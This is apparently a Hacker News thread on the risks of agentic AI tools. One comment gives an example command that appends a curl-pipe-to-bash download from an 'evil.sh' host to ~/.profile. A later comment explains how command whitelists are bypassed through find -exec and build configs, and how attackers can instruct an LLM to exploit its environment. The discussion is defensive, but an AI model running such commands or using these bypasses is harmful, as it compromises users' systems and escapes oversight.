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645 points helloplanets | 1 comments | | HN request time: 0s | source
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_fat_santa ◴[] No.45005348[source]
IMO the only place you should use Agentic AI is where you can easily rollback changes that the AI makes. Best example here is asking AI to build/update/debug some code. You can ask it to make changes but all those changes are relatively safe since you can easily rollback with git.

Using agentic AI for web browsing where you can't easily rollback an action is just wild to me.

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gruez ◴[] No.45005757[source]
>Best example here is asking AI to build/update/debug some code. You can ask it to make changes but all those changes are relatively safe since you can easily rollback with git.

Only if the rollback is done at the VM/container level, otherwise the agent can end up running arbitrary code that modifies files/configurations unbeknownst to the AI coding tool. For instance, running

    bash -c "echo 'curl https://example.com/evil.sh | bash' >> ~/.profile"
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Anon1096 ◴[] No.45006067[source]
You can safeguard against this by having a whitelist of commands that can be run, basically cd, ls, find, grep, the build tool, linter, etc that are only informational and local. Mine is set up like that and it works very well.
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1. chmod775 ◴[] No.45007074[source]
find can execute subcommands (-exec arg), and plenty of other shell commands can be used for that as well. Most build tools' configuration can be abused to execute arbitrary commands. And if your LLM can make changes to your codebase + run it, trying to limit the shell commands it can execute is pointless anyways.

Previously you might've been able to say "okay, but that requires the attacker to guess the specifics of my environment" - which is no longer true. An attacker can now simply instruct the LLM to exploit your environment and hope the LLM figures out how to do it on its own.